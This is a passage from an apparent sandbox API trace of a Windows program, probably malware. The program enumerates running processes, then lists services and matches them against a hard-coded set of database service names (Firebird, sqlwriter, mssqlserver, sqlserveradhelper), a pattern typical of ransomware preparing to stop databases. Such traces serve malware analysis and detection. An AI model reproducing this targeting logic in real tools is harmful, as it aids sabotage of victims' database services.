(lpString="lsass.exe") returned 9 [0217.028] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.028] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.028] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.029] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.029] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.029] lstrlenW (lpString="svchost.exe") returned 11 [0217.029] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.030] lstrlenW (lpString="svchost.exe") returned 11 [0217.030] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.030] lstrlenW (lpString="dwm.exe") returned 7 [0217.030] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.031] lstrlenW (lpString="svchost.exe") returned 11 [0217.031] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.031] lstrlenW (lpString="svchost.exe") returned 11 [0217.031] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.031] lstrlenW (lpString="svchost.exe") returned 11 [0217.031] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.032] lstrlenW (lpString="svchost.exe") returned 11 [0217.032] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.032] lstrlenW (lpString="svchost.exe") returned 11 [0217.032] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.033] lstrlenW (lpString="svchost.exe") returned 11 [0217.033] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.033] lstrlenW (lpString="svchost.exe") returned 11 [0217.033] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.034] lstrlenW (lpString="svchost.exe") returned 11 [0217.034] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.034] lstrlenW (lpString="svchost.exe") returned 11 [0217.034] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.035] lstrlenW (lpString="svchost.exe") returned 11 [0217.035] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.035] lstrlenW (lpString="spoolsv.exe") returned 11 [0217.035] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.035] lstrlenW (lpString="svchost.exe") returned 11 [0217.036] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.036] lstrlenW (lpString="audiodg.exe") returned 11 [0217.036] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.036] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0217.036] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0217.037] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0217.037] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0217.037] lstrlenW (lpString="Memory Compression") returned 18 [0217.037] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0217.038] lstrlenW (lpString="sihost.exe") returned 10 [0217.038] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.038] lstrlenW (lpString="svchost.exe") returned 11 [0217.038] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.039] lstrlenW (lpString="taskhostw.exe") returned 13 [0217.039] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0217.039] lstrlenW (lpString="msoia.exe") returned 9 [0217.039] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.039] lstrlenW (lpString="explorer.exe") returned 12 [0217.040] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.040] lstrlenW (lpString="SearchUI.exe") returned 12 [0217.040] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.040] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0217.040] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.041] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0217.041] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.041] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.041] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0217.042] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0217.042] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0217.042] lstrlenW (lpString="dllhost.exe") returned 11 [0217.042] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0217.043] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0217.043] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 0 [0217.043] CloseHandle (hObject=0x574) returned 1 [0217.043] Sleep (dwMilliseconds=0x1f4) [0217.649] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b3f0 [0217.650] EnumServicesStatusExW (in: hSCManager=0x447b3f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0217.650] GetLastError () returned 0xea [0217.651] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x3cd0088 [0217.651] EnumServicesStatusExW (in: hSCManager=0x447b3f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3cd0088, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3cd0088, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0217.652] CloseServiceHandle (hSCObject=0x447b3f0) returned 1 [0217.652] lstrlenW (lpString="Appinfo") returned 7 [0217.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0217.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0217.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0217.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0217.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0217.653] lstrlenW (lpString="AppXSvc") returned 7 [0217.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0217.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0217.653] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0217.653] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0217.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0217.653] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0217.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.653] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0217.653] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0217.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0217.653] lstrlenW (lpString="Audiosrv") returned 8 [0217.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0217.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0217.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0217.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0217.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0217.653] lstrlenW (lpString="BFE") returned 3 [0217.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0217.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0217.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0217.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0217.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0217.653] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0217.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0217.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0217.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0217.653] lstrlenW (lpString="CDPSvc") returned 6 [0217.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0217.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0217.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0217.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0217.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0217.654] lstrlenW (lpString="ClickToRunSvc") returned 13 [0217.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.654] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0217.654] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0217.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0217.654] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0217.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0217.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0217.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0217.654] lstrlenW (lpString="CryptSvc") returned 8 [0217.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0217.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0217.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0217.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0217.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0217.654] lstrlenW (lpString="DcomLaunch") returned 10 [0217.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0217.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0217.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0217.654] lstrlenW (lpString="DeviceAssociationService") returned 24 [0217.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0217.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0217.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0217.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0217.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0217.655] lstrlenW (lpString="Dhcp") returned 4 [0217.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0217.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0217.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0217.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0217.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0217.655] lstrlenW (lpString="Dnscache") returned 8 [0217.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0217.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0217.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0217.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0217.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0217.655] lstrlenW (lpString="DPS") returned 3 [0217.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0217.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0217.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0217.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0217.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0217.655] lstrlenW (lpString="DusmSvc") returned 7 [0217.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0217.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0217.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0217.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0217.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0217.655] lstrlenW (lpString="EventLog") returned 8 [0217.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0217.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0217.655] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0217.655] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0217.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0217.655] lstrlenW (lpString="EventSystem") returned 11 [0217.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0217.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0217.656] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0217.656] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0217.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0217.656] lstrlenW (lpString="FontCache") returned 9 [0217.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0217.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0217.656] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0217.656] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0217.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0217.656] lstrlenW (lpString="gpsvc") returned 5 [0217.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0217.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0217.656] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0217.656] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0217.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0217.656] lstrlenW (lpString="iphlpsvc") returned 8 [0217.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.656] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0217.656] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0217.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0217.656] lstrlenW (lpString="KeyIso") returned 6 [0217.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0217.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0217.656] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0217.656] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0217.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0217.656] lstrlenW (lpString="LanmanServer") returned 12 [0217.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0217.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0217.656] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0217.656] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0217.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0217.657] lstrlenW (lpString="LanmanWorkstation") returned 17 [0217.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0217.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0217.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0217.657] lstrlenW (lpString="lfsvc") returned 5 [0217.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0217.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0217.657] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0217.657] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0217.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0217.657] lstrlenW (lpString="lmhosts") returned 7 [0217.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0217.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0217.657] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0217.657] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0217.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0217.657] lstrlenW (lpString="LSM") returned 3 [0217.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0217.657] 